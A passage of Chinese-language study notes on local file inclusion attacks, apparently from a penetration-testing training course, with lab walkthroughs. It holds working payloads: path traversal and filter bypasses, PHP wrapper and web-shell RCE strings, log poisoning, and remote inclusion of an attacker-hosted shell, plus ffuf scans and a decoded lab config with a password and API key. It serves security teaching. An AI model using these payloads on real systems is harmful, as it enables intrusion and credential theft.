理论

让我们看一些易受文件包含攻击的代码示例,以了解此类漏洞是如何发生的。如前所述,文件包含漏洞可能出现在许多最流行的web服务器和开发框架中,如PHP、NodeJS、Java、.Net等。它们中的每一个都有一种稍微不同的方法来包含本地文件,但它们都有一个共同点:从指定的路径加载文件。
这样的文件可以是动态头或基于用户指定语言的不同内容。例如,页面可能有一个?language GET参数,如果用户从下拉菜单中更改语言,则会返回相同的页面,但使用不同的语言参数(例如?language=es)。在这种情况下,更改语言可能会更改web应用程序加载页面的目录(例如/en/或/es/)。如果我们能够控制正在加载的路径,那么我们可能能够利用此漏洞读取其他文件,并可能实现远程代码执行。

在PHP中,我们可以在加载页面时使用include()函数来加载本地或远程文件。如果传递到include()的路径取自用户控制的参数(如GET参数),并且代码没有显式过滤和净化用户输入,那么代码就容易受到文件包含的攻击。以下代码片段显示了一个示例:

if (isset($_GET['language'])) {
    include($_GET['language']);
}

我们看到语言参数被直接传递给include()函数。因此,我们在语言参数中传递的任何路径都将加载到页面上,包括后端服务器上的任何本地文件。这并不是include()函数独有的,因为如果我们能够控制传入它们的路径,许多其他PHP函数也会导致同样的漏洞。这样的函数包括includeonce()、require()、Requireonce(()、file_get_contents()和其他一些函数。

就像PHP的情况一样,NodeJS web服务器也可以基于HTTP参数加载内容。以下是如何使用GET参数语言控制将哪些数据写入页面的基本示例:

if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

正如我们所看到的,从URL传递的任何参数都会被readfile函数使用,然后它会在HTTP响应中写入文件内容。另一个例子是Express.js框架中的render()函数。下面的示例显示使用语言参数来确定应该从哪个目录中提取about.html页面:

app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

同样的概念也适用于许多其他web服务器。以下示例显示了Java web服务器的web应用程序如何使用include函数基于指定参数包含本地文件:

<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

include函数可以将文件或页面URL作为其参数,然后将对象渲染到前端模板中,类似于我们之前在NodeJS中看到的模板。导入函数也可以用于呈现本地文件或URL,例如以下示例:

<c:import url= "<%= request.getParameter('language') %>"/>

最后,让我们以.NET web应用程序中可能出现的文件包含漏洞为例。Response.WriteFile函数的工作原理与我们前面的所有示例非常相似,因为它为其输入获取文件路径,并将其内容写入响应。该路径可以从用于动态内容加载的GET参数中检索,如下所示:

@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

此外,@Html.Partial()函数也可以用于将指定的文件作为前端模板的一部分进行渲染,类似于我们前面看到的:

@Html.Partial(HttpContext.Request.Query['language'])

最后,include函数可以用于呈现本地文件或远程URL,也可以执行指定的文件:

<!--#include file="<% HttpContext.Request.Query['language'] %>"-->

从以上所有示例中,我们可以看到,任何web服务器和任何开发框架中都可能出现文件包含漏洞,因为所有这些漏洞都提供了加载动态内容和处理前端模板的功能。
需要记住的最重要的一点是,上面的一些函数只读取指定文件的内容,而其他函数也执行指定文件。此外,其中一些允许指定远程URL,而另一些仅使用后端服务器本地的文件。
下表显示了哪些函数可以执行文件,哪些函数只读取文件内容:

Function Read Content Execute Remote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

路径遍历

我们通过指定文件的绝对路径(例如/etc/passwd)来读取文件。如果在include()函数中使用整个输入而不添加任何内容,这将起作用,如以下示例:

include($_GET['language']);

在这种情况下,如果我们尝试读取/etc/passwd,那么include()函数将直接获取该文件。然而,在许多情况下,web开发人员可能会在语言参数后附加或预加一个字符串。例如,语言参数可以用于文件名,并且可以添加在目录之后,如下所示:

include("./languages/" . $_GET['language']);

在这种情况下,如果我们试图读取/etc/passwd,那么传递给include()的路径将是(./languages//etc/passwd),由于此文件不存在,我们将无法读取任何内容:

我们可以通过使用相对路径遍历目录来轻松绕过此限制。为此,我们可以添加../在我们的文件名之前,它指的是父目录。例如,如果languages目录的完整路径是/var/www/html/languages/,则使用/index.php将引用父目录上的index.php文件(即/var/www/html/index.php)。

因此,我们可以使用这个技巧返回几个目录,直到到达根路径(即/),然后指定我们的绝对文件路径(例如../../../etc/passwd),并且文件应该存在:

它应该在这两种情况下都能起作用。此外,如果我们在根路径(/)并使用../那么我们仍然会停留在根路径上。因此,如果我们不确定web应用程序所在的目录,我们可以添加../很多次

文件名前缀

在前面的例子中,我们在目录后面使用了language参数,这样我们就可以遍历路径来读取passwd文件。在某些情况下,我们的输入可能会附加在不同的字符串之后。例如,它可以与前缀一起使用以获得完整的文件名,如以下示例:

include("lang_" . $_GET['language']);

在这种情况下,如果我们尝试使用../../..遍历目录/etc/passwd,最后一个字符串将是lang../..//etc/passwd,无效

我们可以在有效载荷之前加上前缀/,而不是直接使用路径遍历,这应该将前缀视为目录,然后我们应该绕过文件名,能够遍历目录:

http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd

注意:这可能并不总是有效的,因为在这个例子中,名为lang_/的目录可能不存在,所以我们的相对路径可能不正确。此外,任何附加到我们输入的前缀都可能破坏我们将在下一节中讨论的一些文件包含技术,例如使用PHP包装器和过滤器或RFI。

文件名后缀

另一个非常常见的例子是将扩展附加到语言参数,如下所示:

include($_GET['language'] . ".php");

这很常见,因为在这种情况下,我们不必每次需要更改语言时都编写扩展。这也可能更安全,因为它可能会限制我们只包括PHP文件。在这种情况下,如果我们尝试读取/etc/passwd,那么包含的文件将是/etc/passwd.php,但该文件不存在,我们可以使用几种技术来绕过这一点,我们将在接下来的章节中讨论它们。

二阶攻击

正如我们所看到的,LFI攻击可以有不同的形式。另一种常见的、更高级的LFI攻击是二阶攻击。这是因为许多web应用程序功能可能基于用户控制的参数从后端服务器不安全地提取文件。
例如,网络应用程序可能允许我们通过类似(/profile/$username/avator.png)的URL下载我们的头像。如果我们伪造了一个恶意的LFI用户名(例如../../etc/passwd),那么就有可能将被拉入的文件更改为服务器上的另一个本地文件,并将其获取,而不是我们的头像。
在这种情况下,我们将使用用户名中的恶意LFI负载毒害数据库条目。然后,另一个网络应用程序功能将利用这个中毒的条目来执行我们的攻击(即根据用户名值下载我们的头像)。这就是为什么这种攻击被称为二阶攻击。
开发人员经常忽略这些漏洞,因为他们可能会保护自己不受直接用户输入(例如,页面参数)的影响,但他们可能会信任从数据库中提取的值,比如本例中的用户名。如果我们在注册期间设法毒害了我们的用户名,那么攻击就有可能发生。
使用二阶攻击利用LFI漏洞与我们在本节中讨论的内容类似。唯一的差异是,我们需要发现一个函数,该函数根据我们间接控制的值提取文件,然后尝试控制该值以利用该漏洞。

备忘录

本地文件包含

命令 描述
基本
/index.php?language=/etc/passwd 基本低频
/index.php?language=../../../../etc/passwd 具有路径遍历的 LFI
/index.php?language=/../../../etc/passwd 具有名称前缀的 LFI
/index.php?language=./languages/../../../../etc/passwd 具有已批准路径的 LFI
LFI 旁路
/index.php?language=....//....//....//....//etc/passwd 绕过基本路径遍历筛选器
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 绕过使用 URL 编码的筛选器
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] 绕过带有路径截断的附加扩展(已过时)
/index.php?language=../../../../etc/passwd%00 绕过带有空字节的附加扩展(已过时)
/index.php?language=php://filter/read=convert.base64-encode/resource=config 使用 base64 过滤器读取 PHP

远程代码执行

命令 描述
PHP 包装器
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id 带数据包装器的 RCE
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" 带输入包装器的 RCE
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" 带有预期包装器的 RCE
射频 干扰
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT> 主机网络外壳
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id 包括远程 PHP 网页外壳
LFI + 上传
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif 创建恶意映像
/index.php?language=./profile_images/shell.gif&cmd=id 带有恶意上传图像的 RCE
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php 创建恶意 zip 存档“作为 jpg”
/index.php?language=zip://shell.zip%23shell.php&cmd=id 带有恶意上传的 zip 的 RCE
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg 创建恶意 phar “作为 jpg”
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id 带有恶意上传的 phar 的 RCE
日志中毒
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd 读取 PHP 会话参数
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E xxxxxxxxxx3 1htb_student@NIX02:~$ ls ~/.ssh2​3id_rsa id_rsa.pub known_hostsshell-session
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id RCE 通过中毒的 PHP 会话
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>' 中毒服务器日志
/index.php?language=/var/log/apache2/access.log&cmd=id RCE 通过中毒的 PHP 会话

杂项

命令 描述
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 模糊页面参数
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 模糊 LFI 有效载荷
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 模糊网络根路径
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 模糊服务器配置
LFI词表
LFI-贾迪克斯.txt
适用于 Linux 的 Webroot 路径单词列表
适用于 Windows 的 Webroot 路径单词列表
适用于 Linux 的服务器配置词表
适用于 Windows 的服务器配置词表

practice

target:139.59.185.174:31300
使用文件包含在系统中查找以“b”开头的用户的名称。
提交位于/usr/share/flags目录中的flag.txt文件的内容。

先打开网站:

1

看看切换语言的效果:

2

发先url里面有文件包含,直接向前遍历../../../../etc/passwd

1

第二题就不用多说了。

Basic Bypasses

非递归路径遍历过滤器

针对LFI的最基本的过滤器之一是搜索和替换过滤器,它只删除(../)的子字符串以避免路径遍历。例如:

$language = str_replace('../', '', $_GET['language']);

这个过滤器是非常不安全的,因为它不是递归地删除../子字符串,因为它在输入字符串上运行一次,而不在输出字符串上应用筛选器。

http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

….//子字符串并不是我们可以使用的唯一旁路,因为我们可以使用…/./....\/以及若干其它递归LFI有效载荷。此外,在某些情况下,转义正斜杠字符也可以避免路径遍历过滤器(例如…./)或添加额外的正斜杠(例如…..///)

编码

一些网络过滤器可能会阻止包含某些LFI相关字符(如点)的输入过滤器。或斜线/用于路径遍历。然而,对我们的输入进行URL编码可能会绕过其中一些过滤器,这样它就不再包括这些坏字符,但一旦到达易受攻击的函数,仍然会被解码回我们的路径遍历字符串。5.3.4及更早版本上的核心PHP过滤器特别容易受到这种绕过的影响,但即使在较新版本上,我们也可能发现可以通过URL编码绕过的自定义过滤器。
如果目标web应用程序不允许。和/在我们的输入中,我们可以URL编码../进入%2e%2e%2f,这可能会绕过过滤器。

Approved Paths

一些web应用程序还可以使用正则表达式来确保所包含的文件位于特定路径下。例如,我们一直在处理的web应用程序可能只接受下面的路径/languages目录,如下所示:

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

要找到批准的路径,我们可以检查现有表单发送的请求,并查看它们用于正常web功能的路径。此外,我们可以模糊相同路径下的web目录,并尝试不同的目录,直到我们得到匹配。为了绕过这一点,我们可以使用路径遍历,并使用批准的路径启动有效负载,然后使用../返回根目录并读取我们指定的文件,如下所示:

<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

附加扩展名

如前一节所述,一些web应用程序在我们的输入字符串(例如.php)中附加了一个扩展名,以确保我们包含的文件是预期的扩展名。对于现代版本的PHP,我们可能无法绕过这一点,并且将被限制为仅读取该扩展名中的文件,这可能仍然很有用,正如我们将在下一节中看到的那样(例如,用于读取源代码)。
我们可以使用其他一些技术,但它们在现代版本的PHP中已经过时,只能用于5.3/5.4之前的PHP版本。然而,提到它们可能仍然是有益的,因为一些web应用程序可能仍然运行在较旧的服务器上,而这些技术可能是唯一可能的绕过方法。

路径截断

在早期版本的PHP中,定义的字符串的最大长度为4096个字符,这可能是由于32位系统的限制。如果传递一个较长的字符串,它将被截断,并且超过最大长度的任何字符都将被忽略。此外,PHP还用于删除路径名中的尾随斜杠和单点,因此如果我们调用(/etc/passwd/.),则使用/。也将被截断,PHP将调用(/etc/passwd)。PHP和Linux系统通常也会忽略路径中的多个斜杠(例如///etc/passwd/etc/passwd相同)。类似地,路径中间的当前目录快捷方式(.)也将被忽略(例如/etc/./passwd)。

这种有效载荷的一个例子如下:

?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]

当然,我们不必手动键入。/2048次(总共4096个字符),但我们可以使用以下命令自动创建此字符串:

echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././

Null字节

5.5之前的PHP版本容易受到空字节注入的攻击,这意味着在字符串末尾添加一个空字节(%00)会终止字符串,而不会考虑后面的任何内容。这是由于字符串在低级别内存中的存储方式,内存中的字符串必须使用空字节来指示字符串的末尾,如Assembly、C或C++语言中所示。
要利用此漏洞,我们可以用一个空字节(例如/etc/passwd%00)来结束负载,这样传递给include()的最终路径将是(/etc/passwd/00.php)。这样,即使php被附加到我们的字符串中,空字节之后的任何内容都会被截断,因此使用的路径实际上是/etc/passwd,从而使我们绕过附加的扩展。

practice

target:159.65.60.16:31498
上述web应用程序采用了多个过滤器来避免LFI被利用。尝试绕过这些筛选器来读取/flag.txt

1

应该就加了一个标准路径language和非递归过滤器

PHP过滤器-PHP Filters

许多流行的web应用程序都是用PHP开发的,还有使用不同PHP框架构建的各种自定义web应用程序,如Laravel或Symfony。如果我们在PHP web应用程序中发现LFI漏洞,那么我们可以利用不同的PHP包装来扩展我们的LFI攻击,甚至可能达到远程代码执行。
PHP包装器允许我们在应用程序级别访问不同的I/O流,如标准输入/输出、文件描述符和内存流。这对PHP开发人员有很多用处。尽管如此,作为网络渗透测试人员,我们可以利用这些包装来扩展我们的利用攻击,并能够读取PHP源代码文件,甚至执行系统命令。这不仅有利于LFI攻击,也有利于其他网络攻击,如XXE,如网络攻击模块所述。
在本节中,我们将了解如何使用基本的PHP过滤器来读取PHP源代码,在下一节中,将了解不同的PHP包装器如何帮助我们通过LFI漏洞获得远程代码执行。

Input Filters

PHP过滤器是一种PHP包装器,在这里我们可以传递不同类型的输入,并由我们指定的过滤器进行过滤。要使用PHP包装流,我们可以在字符串中使用PHP://方案,并且我们可以使用php://filter/.
过滤器包装器有几个参数,但我们攻击所需的主要参数是resourceread。过滤器包装器需要resource参数,使用它我们可以指定要对其应用过滤器的流(例如本地文件),而read参数可以对输入资源应用不同的过滤器,因此我们可以使用它来指定要对资源应用哪个过滤器。

有四种不同类型的过滤器可供使用, String Filters, Conversion Filters, Compression Filters, and Encryption Filters. 可以在各自的链接上阅读更多关于每个过滤器的信息,但对LFI攻击有用的过滤器是Conversion Filters下的convert.base64-encode过滤器。

Fuzzing for PHP Files

第一步是使用ffuf或gobuster等工具对不同的可用PHP页面进行模糊处理,与正常的web应用程序使用不同,我们不限于HTTP响应代码为200的页面,因为我们有本地文件包含访问权限,所以我们应该扫描所有代码,包括“301”、“302”和“403”页面,我们也应该能够读取它们的源代码。

标准PHP包含

在前面的小节中,如果您试图通过LFI包含任何php文件,您会注意到包含的php文件会被执行,并最终被呈现为普通的HTML页面。例如,让我们尝试包含config.php页面(web应用程序附加的.php扩展名):

http://<SERVER_IP>:<PORT>/index.php?language=config

正如我们所看到的,我们得到了一个空的结果来代替LFI字符串,因为config.php很可能只设置web应用程序配置,而不呈现任何HTML输出。
这在某些情况下可能很有用,比如访问我们无法访问的本地PHP页面(即SSRF),但在大多数情况下,我们更感兴趣的是通过LFI阅读PHP源代码,因为源代码往往会揭示有关web应用程序的重要信息。这就是base64 php过滤器变得有用的地方,因为我们可以使用它对php文件进行base64编码,然后我们将获得编码的源代码,而不是执行和渲染它。这对于我们处理带有附加PHP扩展的LFI的情况尤其有用,因为我们可能被限制为仅包括PHP文件,如前一节所述。

代码泄露-Source Code Disclosure

一旦我们有了想要读取的潜在PHP文件的列表,我们就可以开始使用base64 PHP过滤器公开它们的来源。让我们尝试使用base64过滤器读取config.php的源代码,方法是为read参数指定convert.base64-encode,为resource参数指定config,如下所示:

php://filter/read=convert.base64-encode/resource=config

http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config

正如我们所看到的,与我们使用常规LFI的尝试不同,使用base64过滤器返回了一个编码的字符串,而不是我们之前看到的空结果。我们现在可以对这个字符串进行解码,以获得config.php源代码的内容,如下所示:

echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d

...SNIP...

if ($_SERVER['REQUEST_METHOD'] == 'GET' && realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
  header('HTTP/1.0 403 Forbidden', TRUE, 403);
  die(header('location: /index.php'));
}

...SNIP...

practice

target:178.62.18.68:32380
  • 为其他php脚本模糊web应用程序,然后读取其中一个配置文件并提交数据库密码作为答案

kali扫一扫:

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://178.62.18.68:32380/FUZZ -e .php -recursion -recursion-depth 1 -v  -t 80 | grep URL

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://178.62.18.68:32380/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

| URL | http://178.62.18.68:32380/#
| URL | http://178.62.18.68:32380/# Copyright 2007 James Fisher
| URL | http://178.62.18.68:32380/# on at least 3 different hosts.php
| URL | http://178.62.18.68:32380/#.php
| URL | http://178.62.18.68:32380/# license, visit http://creativecommons.org/licenses/by-sa/3.0/
| URL | http://178.62.18.68:32380/# Attribution-Share Alike 3.0 License. To view a copy of this
| URL | http://178.62.18.68:32380/# Attribution-Share Alike 3.0 License. To view a copy of this.php
| URL | http://178.62.18.68:32380/# license, visit http://creativecommons.org/licenses/by-sa/3.0/.php
| URL | http://178.62.18.68:32380/# or send a letter to Creative Commons, 171 Second Street,
| URL | http://178.62.18.68:32380/index.php
| URL | http://178.62.18.68:32380/#.php
| URL | http://178.62.18.68:32380/#
| URL | http://178.62.18.68:32380/#
| URL | http://178.62.18.68:32380/# directory-list-2.3-small.txt
| URL | http://178.62.18.68:32380/# or send a letter to Creative Commons, 171 Second Street,.php
| URL | http://178.62.18.68:32380/#.php
| URL | http://178.62.18.68:32380/# This work is licensed under the Creative Commons
| URL | http://178.62.18.68:32380/# Copyright 2007 James Fisher.php
| URL | http://178.62.18.68:32380/#.php
| URL | http://178.62.18.68:32380/
| URL | http://178.62.18.68:32380/# Suite 300, San Francisco, California, 94105, USA.
| URL | http://178.62.18.68:32380/# Priority-ordered case-sensitive list, where entries were found
| URL | http://178.62.18.68:32380/# This work is licensed under the Creative Commons.php
| URL | http://178.62.18.68:32380/.php
| URL | http://178.62.18.68:32380/# Priority-ordered case-sensitive list, where entries were found.php
| URL | http://178.62.18.68:32380/#
| URL | http://178.62.18.68:32380/# directory-list-2.3-small.txt.php
| URL | http://178.62.18.68:32380/# Suite 300, San Francisco, California, 94105, USA..php
| URL | http://178.62.18.68:32380/# on at least 3 different hosts
| URL | http://178.62.18.68:32380/en.php
| URL | http://178.62.18.68:32380/es.php
| URL | http://178.62.18.68:32380/configure.php

到这里先扫到一个configure.php,try一try:

http://178.62.18.68:32380/index.php?language=php://filter/read=convert.base64-encode/resource=configure

读到了:

         PD9waHAKCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnR0VUJyAmJiByZWFscGF0aChfX0ZJTEVfXykgPT0gcmVhbHBhdGgoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkgewogIGhlYWRlcignSFRUUC8xLjAgNDAzIEZvcmJpZGRlbicsIFRSVUUsIDQwMyk7CiAgZGllKGhlYWRlcignbG9jYXRpb246IC9pbmRleC5waHAnKSk7Cn0KCiRjb25maWcgPSBhcnJheSgKICAnREJfSE9TVCcgPT4gJ2RiLmlubGFuZWZyZWlnaHQubG9jYWwnLAogICdEQl9VU0VSTkFNRScgPT4gJ3Jvb3QnLAogICdEQl9QQVNTV09SRCcgPT4gJ0hUQntuM3Yzcl8kdDByM19wbDQhbnQzeHRfY3IzZCR9JywKICAnREJfREFUQUJBU0UnID0+ICdibG9nZGInCik7CgokQVBJX0tFWSA9ICJBd2V3MjQyR0RzaHJmNDYrMzUvayI7            

解码一下:

echo PD9waHAKCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnR0VUJyAmJiByZWFscGF0aChfX0ZJTEVfXykgPT0gcmVhbHBhdGgoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkgewogIGhlYWRlcignSFRUUC8xLjAgNDAzIEZvcmJpZGRlbicsIFRSVUUsIDQwMyk7CiAgZGllKGhlYWRlcignbG9jYXRpb246IC9pbmRleC5waHAnKSk7Cn0KCiRjb25maWcgPSBhcnJheSgKICAnREJfSE9TVCcgPT4gJ2RiLmlubGFuZWZyZWlnaHQubG9jYWwnLAogICdEQl9VU0VSTkFNRScgPT4gJ3Jvb3QnLAogICdEQl9QQVNTV09SRCcgPT4gJ0hUQntuM3Yzcl8kdDByM19wbDQhbnQzeHRfY3IzZCR9JywKICAnREJfREFUQUJBU0UnID0+ICdibG9nZGInCik7CgokQVBJX0tFWSA9ICJBd2V3MjQyR0RzaHJmNDYrMzUvayI7 | base64 -d    
<?php

if ($_SERVER['REQUEST_METHOD'] == 'GET' && realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
  header('HTTP/1.0 403 Forbidden', TRUE, 403);
  die(header('location: /index.php'));
}

$config = array(
  'DB_HOST' => 'db.inlanefreight.local',
  'DB_USERNAME' => 'root',
  'DB_PASSWORD' => 'HTB{n3v3r_$t0r3_pl4!nt3xt_cr3d$}',
  'DB_DATABASE' => 'blogdb'
);

$API_KEY = "Awew242GDshrf46+35/k";   

HTB{n3v3r_$t0r3_pl4!nt3xt_cr3d$}